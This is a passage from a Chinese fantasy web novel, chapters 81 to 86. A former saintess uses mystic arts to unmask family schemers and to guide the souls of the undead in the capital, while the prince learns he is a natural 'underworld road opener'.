“但如果你看到了,你记得,不要再来找我,顶着裴清歌的身份,悄悄在天风国活下去。是师父把你带上这条路……这条不归路,是师父害了你。” “子墨,这是师父对你最后的要求,不要再回北冥国,不要再跟北冥国有任何的牵扯,北冥国……就是人间地狱。” “整件事,师父会亲手了结,这世上不会再有圣女,也许,也不会再有北冥国。你好好活着,就是师父最大的心愿。” 听完这句话,裴清歌猛地睁开眼,就见到裴夫人坐在床边一脸担忧地看着她。 鬼卿站在裴夫人的身后,拧着眉,像是有什么事情想不通。 “我晕过去了?”裴清歌抬手揉了揉眉心。 “你吓死我了。”裴夫人刚刚被和月如派人送回来,一进门就见到屋子里面一片狼藉,裴清歌躺在床上人事不知,鬼卿站在一边茫然无措,“感觉怎么样?有没有哪里疼?发生什么事了?” 这话她也问过鬼卿了,但是鬼卿也拿不准哪些话能说,哪些话不能说,于是就干脆摇了摇头。 “我没事。”裴清歌说着抬起手,手上的虚空玉已经碎了。 第81章 我隐约的知道她想要做什么 师父的这枚虚空玉里,装的只是她的一段话和记忆。 师父以为她的实力要恢复段时间,才能发现虚空玉、再破开虚空玉的阵法,但是没想到血莲护主冲开了一个阵法,她手上又拿到了有锁魂石的锁魂玉笛。 可师父是什么意思? 裴清歌坐起身,抬手拉住裴夫人的手,暗暗的帮她诊了脉,见她没什么事,才开口问道,“你进宫这么久,和贵妃没为难你吧?” “和贵妃人很和善,仔细地问过之后,说会给我做主,让我回来安心等着就是。”裴夫人说着还是担忧地打量着裴清歌,“要不要叫府医过来看看?” “不用。”裴清歌说着下了床,“娘,我有点事要去办,你进宫大半天也累了,先回去休息吧,这些我让左辞找人来处理。” 说完她对鬼卿使了个眼色,鬼卿会意,跟着她往外走。 走到一处无人的小巷,裴清歌便抬手按上了鬼卿的眉心。 以前,她不知道鬼卿是不是愿意成为冥尸,所以几乎不会控制他,更不会探究他的记忆,毕竟愿意说出来的话,鬼卿不会瞒着她,但是不愿意说的,就是他的隐私。 如今师父说北冥国是人间地狱,那和她印象中的完全不一样。 她自从有记忆开始,就生活在圣殿。 从小就在圣殿读书,习武,跟师父学习玄学五术。 到成为圣女继任者之后,跟着师父下了几次圣殿,但基本都是进宫去见国君,或者去取圣湖水、采药。 她确实不知道,在圣殿之外、皇城之外的北冥国到底是怎么样的。 但是鬼卿不一样,鬼卿是师父从外面带回来收养的,他见过的肯定要比她多。 鬼卿皱眉看着裴清歌,小时候的记忆,是他无论到什么时候,都不愿意回忆起来的。 他生活的地方,一片混沌,像是没有白天,没有黑夜,天永远都是雾蒙蒙的。 那些人为了活下去,只能吃人。 他的家人早就不在了,他东躲西藏,没有吃的,饿得奄奄一息的时候,被师父找到,带回了圣殿。 裴清歌收回手,微微皱起眉,转身往巷子外面走。 她也没有什么目的,只是一边走一边想事情,等回过神来,已经到普宁街了。 普宁街上,还排着长长的队。 队伍的起始位置,就是她的店铺,那里有个人正在派发号码,旁边贴着大大的告示,说她最近不在,大家可以排队取号,等她回来,按照号码来算卦。 正看着,前面就传来一阵吵闹声。 是左辞回来之后无事,就来看看店面的装修情况,哪知道刚到门口,就被裴靖抓住了胳膊,“左总管,听说这里算卦的是你表弟?让他赶紧帮我们先看看。咱们这关系,你就没必要让我去找王爷来跟你说了吧?” 左辞拧眉看着裴靖,裴夫人要跟他和离,他对王妃也不好,也就不打算给他什么好脸色,再说,王爷会管他这点小事? 他用力地拽了拽自己的袖子,失败了之后,才有些不耐烦地说,“裴将军,这么多人排队呢,我能怎么办?再说,我表弟最近不在,你想算卦,就先去排队领号。等我表弟回来,就会按照号码逐个来算。” 顿了顿,他又补充,“之前梁鸿家的事你听说了吧,他要插队,可得给前面排队的人每个人一两银子,所有人都一样。” 裴靖可不管这些,只是说,“左总管,我女儿失踪好几天了,报官了也找不到,我真的快要急死了,你就别说这些了。” 左辞闻言,开口道,“裴将军,你女儿不就是王妃么?我出来的时候,还看到王妃陪着裴夫人喝茶呢。” “诶呀,不是裴清歌!”裴靖身边的妇人急着道,“是玲珑,左总管,你忘了么,本来我们玲珑才应该是王妃啊,她不见了,王爷肯定也着急啊,你就让你这表弟先帮我们算算去哪找人吧。” 左辞冷哼一声,“我们王妃只有一位,你可不要乱说。至于裴玲珑啊,我劝你们也不用找了,过几天她大概就回来了。” 裴靖和妇人对视了一眼,“左总管,你知道玲珑在哪?” “知道啊。”左辞故意提高了声音,“前几天,裴玲珑跑到洪都去跟孟彦孟公子私会,被孟夫人抓到了,听说孟公子打算纳了她做妾,这几天估计就会进京来提亲了,你就等着准备婚事吧!” 周围本来就很多人在排队,左辞的声音这么大,大家都听得清清楚楚。 “裴玲珑去洪都跟孟公子私会?” “不是说私会的是裴家的大小姐么?毁了容又瘸了腿,难道是被冤枉了?” “可不是,我家亲戚跟我说,当时裴家大小姐就一直喊自己是清白的。” “不会真的是裴玲珑吧?这么远都跑过去送上门,真是脸都不要了。” “……” “你胡说!”妇人尖叫一声,“你以为你是肃亲王府的人,就可以这么污蔑我们玲珑么?你……裴清歌给了你多少钱来收买你这样泼玲珑脏水?” “呵。”左辞翻了个白眼,“三年前,跟孟彦偷情的就是裴玲珑,蛇蝎毒妇,推了自己的姐姐出去顶包,又妄图欺骗王爷?”他说着看向裴靖,“王妃是倒了什么血霉,摊上你这样的爹,真是造了孽了。” 说完这一下用了力气,一把推开裴靖。 听到他们又提起洪都,裴清歌想到了什么,她收回目光抬眼看向鬼卿,“师父在虚空玉里,给我留了一段记忆,我隐约的知道她想要做什么。” “我之前在月城被人暗算,就一直以为,是有人要伤害师父和我。” “我在这身体的记忆里看到师父受伤,就下意识的以为师父可能是被人追杀。” “但现在看,我在月城的事,是师父的有意安排,那么师父就可能并没有被人追杀。她在洪都,说不定是因为洪都有什么。” 鬼卿微微皱了下眉头,提醒道,“清幽果。” “对。”裴清歌点点头,“就像彭城会有清幽果一样,洪都一定也有这样的天材地宝,师父若是在找这些东西的过程中受伤也不是不可能。” 她说着微微眯了眯眼,师父说不会再有圣女,可能也不会再有北冥国,也就是说,她可能想要和北冥国作对。 那么她要有足够的筹码。 她一定是在收集些什么东西。 正说着,那边裴靖眼尖看到了裴清歌,“清歌!”他说着大步走过来,看着她命令道,“你赶紧解释一下,三年前你和孟彦的事,已经让我们丢尽了脸,现在还要让左辞来诬陷玲珑么?你已经抢了玲珑的婚事,现在这样是要逼死玲珑么?你和你娘简直一样没心肝!” 第82章 带你见见另外一个世界是怎么收钱的 左辞也没想到裴清歌会过来,怔了一下,赶紧跑过来,拦在裴靖和裴清歌中间,“裴将军,不准对王妃无礼!” 裴清歌眯眼看着裴靖,她甚至不知道这人哪有脸来跑到他面前! 若不是他宠妾灭妻,裴玲珑也不会那么大胆子敢陷害原主。 如果没有师父,原主在三年前就蒙受不白之冤一命呜呼了! 原主的记忆里,当初刚一听说原主和孟彦私通,裴靖就拎着家法棒过来,根本不听原主解释,往死里打了原主一顿! 现在听到原来私通的人是裴玲珑,就认为是她污蔑,认为裴玲珑是清白的。 这也太厚此薄彼了! “也就你们王府的人还把她当成王妃,要真论起来,这婚事也不明不白。”裴玲珑的娘姚氏翻着白眼,“你们王爷向皇上求娶的可是我们玲珑!但你们既然愿意认下,我也就不多说什么了,不过,左总管,我看你不要在这出头了,还不如去找你们王爷,让他看好了,不要让这个丑八怪到处跑,影响你们王府名声。” 裴清歌垂下眸,缩在袖子里的手指微微动了动。 姚氏的身体突然僵了一下,随即突然抬手胡乱地扯着自己的头发,把头发扯得乱糟糟的,噗通一声坐在地上,又哭又嚎,“诶呦,我怎么养了这么个让人丢脸的女儿啊!” “三年前就不要脸跟人家私通,眼见着东窗事发,我们一合计,把这事推到了裴清歌的身上。” “都已经瞒了三年了,眼见着所有人都快忘了这事了,她怎么就忘不了她那个情郎,又跑去私会啊!” “这可让我这老脸往哪搁啊,我不活了!” 裴靖诧异地看着姚氏,赶紧上前去拉她,“你在这说什么浑话呢?” “我说的是实话啊!”姚氏扯着嗓门,“只要玲珑能让我省省心,我当个妾就当个妾吧,没必要非要当裴夫人。可我得给她善后啊,我只能一门心思的想要挤走夫人,只有我当了裴夫人,才能给她找更好的亲事。” “我这谋划得都九成九了,夫人都同意和离了,玲珑怎么又给我闹这一出啊!” 裴靖拉着脸,“你给我闭嘴!”说着也伸手捂住姚氏的嘴,但姚氏根本不听她的话,还在支支吾吾地说着什么。 裴清歌趁着人群挤上来围观,就往后退了退了,进了店里。 左辞也赶紧跟了上来,“王妃,姚氏这是……突然疯了?” 裴清歌往后瞥了一眼,低声道,“我让荷香上了她的身,大庭广众的,我也不能跟泼妇一般见识,让她自己玩去吧。” “荷香这……”左辞的脸色有些古怪,“没想到还有这天赋。”说完他顿了顿,又道,“属下已经让人查了荷香的事,她的死确实是周婆子造成的,但是……周婆子毕竟没有直接杀人,也不好扭送官府,你看这事怎么处理?要是真想给荷香报仇,那就只能动私刑了。” 裴清歌的脚步顿了顿,“每个人都有自己的命,荷香被迫害致死,死后缠着周婆子,缠到周婆子运势将尽,周婆子就会各种疾病缠身,每日受病痛折磨,最后缠绵病榻而死。天理循环,不是每件事我们都要插手。” “明白了。”左辞点点头。 “你有洪都的地形图么?”裴清歌转移话题问道。 “洪都?”左辞想了想,“这会没有,但属下能找到。” “行,你找一份,拿给我。”裴清歌说着顿了顿,“还有,再搜集些洪都的轶事传说,就像是落霞山那样的,哪里闹鬼,哪里有怪事发生一类的,如果有的话,一起告诉我。” “没问题,但……”左辞小心翼翼地看了裴清歌一眼,“但不是有个现成的么?王妃你的表哥……属下是说亲表哥云公子,他少时生活在京城,但后来去了洪都,这些年基本都在洪都,对洪都的地势地形,风土人情肯定极为了解。” “有道理。”裴清歌点点头,“你去收集之后,再去找他确认吧,这样消息会更准确点。”她想了想云止对她的态度,说不定左辞去能得到的信息更多些。 说着话,也上了二楼。 二楼本来就是原来的店主存放字画的地方,裴清歌大手一挥,“左总管,你叫人把这些字画都拿走吧,送人也好,卖掉也好,随便怎么处理,然后把这里改成两间卧房,等改好之后,我和鬼卿搬到这边来住。” 这里可以温养锁魂玉笛,晚上温养的效果也要比白天好。 现在有鬼卿在,可以陪她练武,但玄学五术,还是要不断的研习精进。在王府里总归有的时候不太方便,到了这边,她就可以无所顾忌了。 左辞的下巴都快掉在了地上,“王妃……你……你要搬出王府?” 裴清歌点点头,也没有多做解释,本来她计划一年内恢复实力,然后回北冥国。 师父于她,是这个世界上最亲的人。 反过来,她对师父来说,应该也是一样的。 所以师父布局这么久,说不定就是在即将动手之前,把她从北冥国里引出来,给她安排了一条后路。 然后师父在北冥国,就再没有软肋了。 如今明知道师父要做什么,她不能弃师父于不顾,但也绝对不能拖师父的后腿! 所以已经没有一年那么长的时间给她来慢慢恢复了。 “这不好吧?”左辞挠了挠头,“再说……”他转头看了鬼卿一眼,低声嘀咕,“好不容易洗脱跟孟彦的关系,这又来一个……” “这地方够大,不然你就让人改三间卧房,你也搬来一起住。”裴清歌看着他,“晚上我带你一起见见另一个世界是怎么收钱的。” 听到这话,左辞猛地一个激灵,想起来第一天陪裴清歌过来看店的时候,她说过的话,“不行啊,王妃,属下怕属下命不够硬。” “有我在你怕什么呢?你不相信我?”裴清歌挑眉看他。 左辞干笑了几声,“属下怎么会不相信王妃呢,这样吧,让钟栖过来,毕竟属下还要处理王府的事,属下白天会多过来帮忙的。” 裴清歌笑了笑,也没多言,打发左辞离开之后,才看向鬼卿,“你去帮我办一件事。” 第83章 活人和死人说什么? 既然和月如是西夜国来的,十五年前的“围北之战”也是西夜国发起的,那让鬼卿去西夜国探探消息,总能知道些什么。 鬼卿出发去西夜国之后,裴清歌便每日带着钟栖到普宁街去算卦。 从宫里出来的第三日,裴靖就把和离书送到了王府了。 “虽然不是喜事,但是也该恭喜裴夫……该称呼云夫人了。”左辞把和离书送到梧桐院,想着以后与裴将军府那边的瓜葛总算又少了些,心里也开心。 “这么多年,大家都称呼我裴夫人,我自己都快忘了自己的本名了。”云澜看着和离书上自己的名字,眼底带着几丝激动,说完,她看向裴清歌,“这事已经告一段落,我也不方便再在王府住下去,这几日已经收拾了东西,一会就搬去云府了。” 裴清歌点点头没有挽留,她也打算搬去店里住了,云澜确实住在云府那边更合适一些,“我送娘过去。” 出门之前,裴清歌把假的紫莲戒交给了左辞,让左辞立刻送进宫里给和贵妃。 已经有人提前来告知,所以云止已经等在了大门口,见云澜和裴清歌到了,就迎了上来,“姑姑,房间都已经收拾妥当,一会你看看还有没有什么需要添置的,千万不要跟我客气。” “有劳你了。”云澜开心,眼角眉梢都带着笑意。 三个人迈进大门,裴清歌的脚步蓦地顿了下,抬眼看向云止,“府上最近有下人去世么?” 云止皱起眉头,他这个表妹,如今连话都不会好好说了么?哪有一上门就问人家有没有死人的?“没有。” 他的声音带着几丝不悦,裴清歌也没在意,只是看着府里面,“可这府里死气丛生的。” 云止的脚步停下来,“王妃,若是嫌弃云府破败,大可以不来。” 见这两人说话都有了火药味,云澜也收起了脸上的笑容,“阿止,清歌没有坏心,你别往心里去。” 云澜都说了话,云止也不能再跟裴清歌一般见识,只是脸色已经逐渐变得难看起来,“姑姑,以后大概也只有你我二人在京中,稍后我叫管家把账册都拿给你,宅院之事,就还都要劳烦姑姑了。” 云澜点了点头,“你便安心谋差事,这府内的事,你不用再操心了。” 三人说着话,也走到了堂前。 一个下人佝偻着腰,低着头,给三人问安后开口道,“公子,茶已沏好,果脯蜜饯等都已摆好。” 云止应了一声,才对着云澜说,“姑姑,听府上的老嬷嬷说,你未出嫁时便最爱府上特制的蜜饯,我便着人从洪都送了些过来,今早刚到,你正好尝尝还是不是以前的味道。” “阿止真是有心了。”云澜笑道。 云止带着路,正要往前走,就听裴清歌对那下人道,“站住。” 那下人听话地停了下来,转过身,却依旧弯着腰低着头,“王妃娘娘,可有什么事吩咐?” 裴清歌眯了眯眼,向他走了几步,“直起身,抬起头来。” 下人苦笑了一声,“老奴容貌粗鄙,怕吓着王妃。” “我让你抬头你就抬头。”裴清歌皱起眉头。 “王妃。”云止脸色一下子就黑了,几步走过来,拦在裴清歌和下人之间,“王妃何必为难我府上一个下人?” 裴清歌拧了下眉,“你让他抬抬头,就知道我是不是在为难他了。” “福叔在云府三十年,操心劳力,腰背佝偻,你这不是在为难他是在干什么?”云止眉心都快蹙在了一起。 云澜也走过来,站在裴清歌身边低声道,“福叔是云府的老人了,这几年云家不在京中,他也把云家在京中的事务打理得井井有条,若是有什么事,你直说就可以。” 她不认为自己的女儿是在没事找事,裴清歌之前对下人也都很和善,更不会突然为难人。 “直说?活人和死人说什么?”裴清歌抬腿绕过云止,伸手就向福叔抓去。 云止立即抬手拉住她的胳膊。 裴清歌转身一掌打在云止的肩膀上。 云止根本不知道裴清歌会武功,也没有防备,就被她打退了两步。知道她会武功,也就没再手软,脚尖点地往前一窜,抬手抓住裴清歌的肩膀,“王妃,这是云府,容不得你撒野。” 裴清歌被他捏得肩骨生疼,抬腿便踹向他的小腹。 “公子,王妃,你们不要打了。”福叔一下子跪在地上,“是老奴的错,是老奴的错。” “跟你有什么……”云止转头低声喝道,只是他这话还没说完,就见福叔抬起了头。 那张脸上,脸皮斑驳,甚至有一块皮肉都快掉了下来。 云止一怔,收回手,猛地后退了两步,但又很快上前抬手扶住福叔,“福叔,你这是……这是怎么回事?” 裴清歌揉了揉肩膀,“进去说吧。” 云澜虽然在王府见过张太妃的样子了,但突然看到福叔这样,也是吓了一跳,停顿了下才跟着裴清歌往堂里走。 云止扶着福叔走在后面,他虽然不愿意承认裴清歌的话,但是靠得近了,却在福叔的身上闻到一股腐肉味儿,而且福叔的身上毫无温度,就连他扶着他的时候,碰到他的胳膊,手似乎都陷进了皮肉里。 裴清歌在堂上坐下,看着福叔开口道,“你已经死了,为什么还要装作活人?” “我……我没有。”福叔有些无辜,带着些手足无措,“那日我收拾库房,不小心从梯子上摔下来,架子上又有一个罐子砸下来,砸在我头上,我知道自己是死定了,可后来,不知道为什么,我又醒了过来。” “我看到地上一大滩血,我的头也砸坏了,但是我怎么碰这伤口,都不知道疼。”他说着摘下自己的帽子,头顶上确实一大片伤口,能清晰地看到骨头都裂了。 “之后我……我就一直这样,伤口没办法愈合,我自己也不知道疼,过了两日,我听其他人说我身上有臭味,我这才发现身体好像开始腐烂了,没办法,我就带了很多草药香包来掩盖。” “但是我也,我也真的不知道怎么回事啊!” 第84章 有些事没必要一定要知道得清清楚楚 云止难以置信地看着福叔,“所以这几日你向我辞行,说要回老家,就是因为这个?” 福叔点点头,“我知道自己出了问题,我不知道饿,吃不下东西,皮肤开始脱落,头发也在掉,甚至……牙齿都掉了几颗,就算我小心翼翼地瞒着,也瞒不了多久了,我也不知道自己会变成什么样,就想趁着我还有点人样,赶紧回老家躲在山里,就没人发现了。” 裴清歌皱起眉头,开口道,“你不是借了外力,只是不知道为何死后魂魄没有离体?” 福叔看着她,“王妃娘娘,你知道是怎么回事,你能不能救救我?” 裴清歌微微吸了口气,“困笼蜮。”说完她又暗自摇了摇头,困笼蜮都是在外力的作用下,让人死后魂魄不离体,然后去吸食活人的阳气,这是不可能自然形成的,思索了片刻,她又问,“你在摔倒之前,可曾见过陌生人,或者有没有人给过你什么东西?” 福叔想了半天,最终还是摇了摇头,“这些日子,公子刚到,老奴一直在府里,不曾出府,也不曾见过外人,更没有接触过什么以前没见过的东西。” “我不知道你现在这样是怎么造成的,但是很明确的事情,就是你已经死了,我可以给你开路引,让你去该去的地方。”裴清歌顿了下,看了看云澜和云止,才又对着福叔道,“再给你一点时间,你有什么后事想要交代的,就交代下吧。” 云澜眼一红,“福叔,我还以为等我回了家,你还能继续帮衬我,没想到……” 福叔向云澜行了一礼,“大小姐,这么说来,老奴前几天就应该死了,没想到还能再见到你回来,已经老奴的福气了。” 顿了顿,他又道,“老奴一直在云家伺候,未成亲,也没有子嗣,这些年倒是攒了些银两,老奴的身后事简单办了也用不了多少钱,剩下的就帮老奴施舍给需要的人吧。若是……若是方便,希望大小姐和公子能派人把老奴的骨灰送回老家的山上安葬。” 他说着声音有些哽咽,可早就已经没有眼泪可以流,“老奴真想再见见老太爷,可惜此生无缘,只能遥祝老太爷身体康健了。” 云澜没再说话,拿起帕子低头擦着眼泪。 “福叔你放心,我一定会着人送你回老家,让你落叶归根。”云止说着站起身,也对着福叔行礼,“福叔,这些年在云家,你辛苦了。” “使不得使不得。”福叔想去扶云止,但是手从袖子里伸出来,看着自己手指的皮肉已经脱落见骨,又一下子缩了回去,随即便看向裴清歌,“那就有劳王妃娘娘,送老奴离开了。” “等一下。”云止又道,“福叔,我送你回你房间吧。” 福叔点点头,转身低着头往外走。 裴清歌知道云止想给他一个体面,于是便扶着云澜跟在他身后。 福叔心里早就明白,所以他的住处早都已经收拾得干干净净,若是云止放他离开,他只要拎上包袱,也就可以立刻离开了。 看着他早就打算好,想着他这几日默默的收拾东西,云澜眼泪掉的更凶,门也没进,就站在了院子里。 裴清歌跟云止一起送了福叔进门,云止扶着福叔躺在榻上,“福叔,你……一路走好。” 福叔的身体有些颤抖,叹了口气,没再说话,歪头闭上了眼睛。 裴清歌在桌上拿起纸笔,写了一道路引,随着一道符咒一起点燃,在福叔的身上转了一圈,然后把符咒和路引扔到了房间的空地上。 云止看不见,但是她是清楚的看到福叔的魂魄离了体,他依依不舍地摸了摸衣柜、桌椅,又在云止和云澜的身边各停了半响,才终于飘走了。 看着福叔的身体一动不动,云止也红了眼眶。 裴清歌也没在房间多留,出了门,看着云澜,“娘,福叔走了,你和表哥先不要乱走,我四处看看福叔为什么会这样。” 云澜点点头。 裴清歌出了院门没一会,云止也从房间里出来了,“姑姑,咱们回去吧,我叫人来处理福叔的后事。” 云澜转头又向房间里看了一眼,才叹了口气,往正堂走。 走了几步,云止便开口问道,“姑姑,王妃她是什么时候学的武功?以前怎么没听人说过?还有……这些,她怎么会?” 云澜微微摇了摇头,只是低声道,“阿止,你表妹她跟以前不一样了。” “不一样?”云止不解。 “性情不一样了。”云澜说着沉默了一会,转头看向他,“阿止,有些时候,有些事没必要一定要知道得清清楚楚,人活着,难得糊涂。” * 裴清歌在云府里转了一圈,角落都仔细看过了,差不多用了一个时辰才回到大堂。 “有什么发现么?”云澜放下手里的茶杯问道。 “奇怪,什么都没有。”裴清歌说着顿了下,“现在府里的死气也淡去了,也不知道福叔为什么会变成这样。娘,今晚我陪你在这住吧,看看晚上的时候有没有什么问题。” “你不回王府,王爷那边……”云澜说着停了下来,似乎白锦夜对裴清歌也没什么约束,她出门也好,做什么也好,白锦夜也不过问。 “麻烦表哥着人帮我去王府通知一声吧。”裴清歌看向云止。 云止点了点头。 因着福叔的事,晚上云澜和云止吃的都不多,裴清歌跟福叔确实没什么感情,再加上觉得自己晚上还有事要做,于是就在云止嫌恶的目光下,足足吃了两碗饭。 裴清歌在茶里加了些安睡的药,云澜躺在床上没一会就睡熟了,她也就出了门,在府里转了一圈,便跃上大堂的房顶,正看着,突然听到身后有轻微的声音,一转身,便见到云止也上了房顶。 她微微皱了下眉,没有说话。 “在我们的茶里下药,就是为了晚上一个人出来?”云止见她发现自己了,便走到她身边,“你在找什么?” 裴清歌转过身,继续看着,“福叔这样的情况,一般就是困笼蜮,但困笼蜮绝对不会自己形成,我在找福叔变成这样的原因。” “困笼蜮是什么?”云止开口问道。 “就是人死后魂魄没……”裴清歌的话还没说完,就看着不远处神色一顿,跃下房顶就朝云府外面跑去。 第85章 开冥路 云止皱起眉头,也跟着裴清歌向外面跑。 裴清歌停在了一处民居外,民居里面,有女子压低的哭泣声。 她翻过院墙,摸到了窗户底下。 云止也跟着她蹲下,听到了民居里面的说话声。 是一个年轻的男子,“娘,娘,是我们不孝,可你都已经死了啊,你不要再缠着我们了。” “是……是啊,婆婆,是我不好,我不该骂你,不该不给你饭吃,逼得你走投无路上吊而死,我知道错了,我以后……我以后每天在你的牌位前磕头认错,我以后吃斋念佛,就算你恨我,不想放过我,那……那你也想想我肚子里的孩子,这可是你的亲孙子啊!” “娘,看在孩子的份上,你就原谅我们吧!” “诶呦,我要怎么说你们才能明白啊?儿啊,娘没死啊,娘真的没死啊!”又一个年老的声音急切的解释道。 “娘,你真的死了,你上吊了,我发现的时候,你的尸体都硬了啊。”年轻男子说话声音颤抖,“你别再吓唬我们了,我错了,我给你磕头。” 这声音落下,就跟着传来砰砰的磕头声。 那边儿媳也开始扇自己耳光,“婆婆,你放过我们吧!” 云止眯了眯眼,起身就要冲进去。 裴清歌眼疾手快地拉住他,拿出一道空白的符咒,咬破手指写了路引,把这婆婆的魂魄引出来送走。 然后拉着想要进去给这婆婆讨份公道的云止往外走。 走出老远,云止才气愤地道,“你为什么不让我进去?那儿子儿媳如此不孝,就该送他们去见官!” “见官?”裴清歌看着他轻笑道,“清官难断家务事,你听到了他们承认是自己逼死了老人,到了官府万一不承认呢?再说,就算承认了,那老人也是自己上吊的,官府怎么判?” “我……”云止顿了半响,最后才道,“那我也能打他们一顿。” “恶人有天收。”裴清歌说着往前走,“奇怪,这婆婆死了魂魄也没有离体,这到底是怎么回事?” 说完裴清歌跳上最近的一处高台,一眼看出去,就又看到有两处泛着死气的地方。 忙活了大半宿,一共找到了六个魂魄没有离体的人。 裴清歌脑袋都大了。 云止一直跟着她,开始还说几句话,后来脸色逐渐阴沉,也不说话了。 回云府的路上,裴清歌看了他一眼,才道,“这世间人生百态,不是谁家都像云家一样有钱,一样其乐融融。” “就算我做官,也改变不了什么。”云止看着远处云府的大门,开口道。 “是啊。”裴清歌点点头,“能普度众生的只有菩萨。” “那我出仕又有什么意义?”云止的脚步停下来,脸上带着几丝茫然。 裴清歌转身看他,“你这才看了几家的悲欢离合,就对人生产生怀疑了?那云家这些年,也未免把你保护得太好了。若是你到了边关,打几场仗,看着那么多人死在你面前,你还不得疯?” 云止皱了下眉头,没有说话。 裴清歌轻轻叹了口气,“人生在世,尽力而为吧。”说完便转身往前走。 云止跟着她的脚步,到了云府的大门前,他仰头看着已经走上台阶的裴清歌开口问,“你到底是谁?” 裴清歌推开门,走了进去,才转身看他,“我是你表妹啊。” 云止微微抿了抿唇,盯着裴清歌看了半响,进了门,没再说话。 裴清歌伸了个懒腰,回房去睡了。 第二天裴清歌在算卦的过程中又遇到几个身上沾了死气的,于是下午收了挂摊,又开始全城跑。 跑到半夜,人都要累瘫了,但还是没找到原因。 她感觉自己脑袋都在冒烟,甚至在城外的一处破桥下发现了一个腐烂得不成样子的,死了起码有大半个月了。 这人也知道自己这副模样吓人,于是就跑到了城外,反正也不用吃饭,就躲在了桥底。 裴清歌知道这样忙活下去,就算是累死她,也不能彻底解决这件事,除非找到源头。 回到王府,她累得连洗漱都省了,倒在床上就睡了过去,睡着之前她最后一个念头就是——明天不能去算卦了,得先把这事解决了才行。 * 白锦夜早上下朝回来,门房就递上来一封信,说是一大早有人送来的。 他打开信,信上只有几个字—— 午时,城北十里亭。 落款也没有名字,简单地画了一个莲花模样的戒指。 白锦夜微微眯了眯眼,临近午时的时候,带着何知出了门。 城北的十里亭在半山腰,很偏僻,亭子远远地看着,已经有点老旧失修了。 亭子里,有人早就等在那了,白锦夜下了马,把马交给何知,让他等在不远处,自己一个人走了过去。 亭里的人正在跟自己下棋,白锦夜进来她仿佛也没看见,依旧在落子。 白锦夜看着她,他当然也没忘记她是谁,两年前,就是她亲手把紫莲戒交到他手上! 又过了半响,棋局陷入僵局,她拿着白子盯了半响,也没想好在哪落子,这才抬眼看向白锦夜,打量了他好半天,“我说的那个裴姓女子,你找到了?” 白锦夜微微点头。 她把白子放下,“她如今怎么样?过得好么?” 白锦夜想了会,“之前受了苦,眼下这些日子应该还算可以。” 她闻言点了点头,隔了会才说,“你最近晚上都在做什么?” “晚上?”白锦夜皱起眉头,他一到子时就什么都不知道了,按照其他人的说法,那他晚上就是老老实实的在房间里睡觉,“什么都没做。” “没做?”女子显然不信,“你不睡觉么?你睡了觉不做梦么?” 白锦夜摇了摇头。 女子抬手抓住白锦夜的手腕,替他诊脉,蓦地,眸光巨震,“她怎么能……”说了半句,却也没再说下去,她站起身,走到一边,看着远处,思忖了半响才道,“你从明日开始,每天白天必须睡一个时辰。” “你找本王,就是为了说这个?”白锦夜看着她。 女子摇了摇头,又叹了口气,“最近到处都出了乱子,很多人死了,魂魄不离体,哪怕尸体腐烂,他们的魂魄也不知何去何从。” “这世间非正常死亡的人的魂魄,是没办法主动去该去的地方的,必须有人给他们开路引。” “有的人会写路引,但是有的人天生就是路引,这个叫——开冥路。” 第86章 到年底也不过就剩三个多月 白锦夜眉头都快蹙到了一起,“你的意思是,本王是这个路引?” 女子点了点头,“你平时也不需要做什么,睡觉的时候,自然就会去开冥路,那些横死枉死的人,都要靠这个离开阳世。你现在晚上……你也不用睡太久,每天睡上一个时辰就足够了。” 白锦夜垂眸看着棋盘,像是在思索什么。 以前若是有人跟他说这些,他是不会相信的,但如今,身边发生这么多事,他对这种事也不得不信了。 女子重新回到桌边坐下,又问,“你时常能见到她么?” 白锦夜回过神,也明白她说的是谁,走到女子的对面坐下,开口道,“能。” “她若是真心救你,不会这么做。”女子看着他,“你没给她看过紫莲戒么?” 白锦夜摇了摇头,“本王之前找错了人,也是最近才确认是她。” “命该如此。”女子说着抬眼看向盛京城内的方向,“她是我见过的所有人里唯一一个我看不懂命格的人。” 顿了顿,女子回到刚才的话题上,“但凡开冥路之人,因为长期游走于阴阳两世的边界,大多五弊三缺,也没人能活过二十二岁,前年见你的时候,我就跟你说过,你今年年底有大劫。” “我这几年都在四处寻找和你一样的人,但可惜……再也找不到了。你若是死了……”她说着停下来,没再继续说。 “如果没人引路,会怎么样?”白锦夜开口问道。 “我曾经认识一些人,他们会故意用外力使人死后魂魄不能离体,成为困笼蜮。一开始成为困笼蜮,这些人还保持着死前的神智和记忆,他们不会去伤害身边的人。” “但他们身上的阳气散尽,身体开始慢慢腐烂,若有人引导,他们就会发现,去吸食活人的阳气,就能阻止自己身体腐烂。” “保留着生前记忆的人,有多少能接受看着自己的身体慢慢腐烂呢?一次忍不住去吸食了阳气,看着自己的身体恢复到完好如初,等身体再腐烂的时候,还能再忍得住么?” 女子说着摇了摇头,“但用外力制造困笼蜮很难,所以只要世上再没有开冥路的人,那么所有横死枉死的人,自然而然就成了困笼蜮。” “从百年前开始,他们就在寻找所有会开冥路的人,然后杀掉,我甚至也以为这世上再也没有了,直到我碰到你。” “逆天改命这种事,不是谁都能做,要看天分,也要看能不能受得住天谴。我让你找的那个人,大概是这世上唯一能逆天改命的了。” 白锦夜微微眯了眯眼,“你说的他们,是谁?” “那不是你应该知道的,也不是你能抗衡的。今天我说的,你也不要跟任何人提起。”女子说完也站起了身。 “你是北冥国的人?”白锦夜抬头看她问道。 女子正欲离开的脚步顿了顿,看着白锦夜若有所思,隔了会才说,“既然说到这,我希望你能帮我做一件事——无论如何,也要阻止她回北冥国。” 白锦夜转头看向盛京的方向,“她现在就在盛京,你为什么不亲自去看她去跟她说?” 女子的手微微握成拳,“我不能去见她,我算过一卦,她算是个变数,如果没有她,事成的概率只有一半。如果有她,事成,但是她会死。”女子说着顿了顿,“我亏欠她,只想还她一份平和的生活。” 说完女子转身看向白锦夜,“我有重要的事要办,马上就要离开天风国了,我说的话,你且记着,碰到什么事拿不准,可以去问问她。但愿……你我还有再见面的机会。” * 白锦夜回府的时候,刚好碰到裴清歌急匆匆的出门。 他微微皱了下眉,抬手拦住跟在后面的左辞,“发生什么事了?” 左辞踮着脚看着裴清歌的身影迅速的消失了,知道自己是跟不上了,才看向白锦夜,“这两天王妃快要忙死了,也不知道怎么回事,突然出来好多死了但没死透的人,昨天看着一个,脸都烂没了,人还活蹦乱跳的,王妃正到处找这些活死人呢。” 白锦夜转头看了看裴清歌离开的方向,“很多?” 左辞点点头,“听王妃说前天就忙活了半宿,昨天也是从中午找到半夜,挂摊的生意都没时间做了。” 